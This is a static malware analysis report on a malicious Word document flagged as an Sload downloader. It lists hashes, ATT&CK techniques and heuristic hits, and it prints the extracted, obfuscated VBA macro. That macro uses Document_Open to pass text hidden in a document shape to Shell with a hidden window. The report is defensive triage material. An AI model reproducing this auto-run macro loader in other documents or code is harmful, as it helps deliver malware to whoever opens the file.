Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2aae3b2ea5fd11a7…

MALICIOUS

Office (OLE)

80.6 KB Created: 2018-11-06 16:30:00 Authoring application: Microsoft Office Word First seen: 2018-11-13
MD5: bb962907f05401fab82a6bc4586ed9a7 SHA-1: ff222e9960e111ccfe4cffd2b85bc9ee2d794992 SHA-256: 2aae3b2ea5fd11a738deb6a5f33f7f59d1e206752fce6562d50d524c9bf5d84a
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.003 Windows Command Shell T1204.002 Malicious File

The sample contains a Document_Open VBA macro that executes a complex PowerShell command. This command decodes a Base64 string, decompresses it, and then executes it using PowerShell. The heuristic firings indicate suspicious cmd.exe and PowerShell invocations, supporting the analysis that this macro is designed to download and execute a second-stage payload. The ClamAV detection of 'Doc.Downloader.Sload-6743946-0' further confirms its malicious downloader nature.

Heuristics 8

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_open()
    On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1001 bytes
SHA-256: 7a470984757249e28125b561e558a5a9d1cb0b10ed21ed6110f5c32b35389adc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
26 of 49 identifiers look randomly generated (e.g. 'XKKjruSGAC') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wRwKSaUDD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   poYGw = (PLjqDq + jrTuBN + EUzUmz + YhrzS / DHAVQ + dkvOm + aFTjrl + GuOUr)
   YGFph = hwNTrj + LLkIw + wTonjX + knBOsi * hmtEBL + aQJNN * PUzSzE + oskSWS + vtwza + zkZSf
   Hqdstk = ucqzdB + NJFKXL + zpqFhL + omJRw / WtRWt + zKrst + OXhFO + jICHBn
Const XKKjruSGAC = 383684964 - 383684964
Shell@ Shapes(1).TextFrame.TextRange.Text + XDfaVsM + jPnovoCb, XKKjruSGAC
   SrawY = OPSiL + vntmzv / (FEhrD + OiCwBb / (nOhjzn + fbEUL + aoQma + PRLHk))
   hizzj = JNmiFa + bajZnq * (npaFj + fMLLq)
   CKdMS = CWqjG + mKusi + NjnTa + PWnLW / Gwkckq + OlDIs + HKdnEV + hHXSj / jQzvdq + OaJZJ
   GShTKm = ffvim + SGRpEs + ZsfCN + nZEvWr * YfRqkV + UNjUMw
End Sub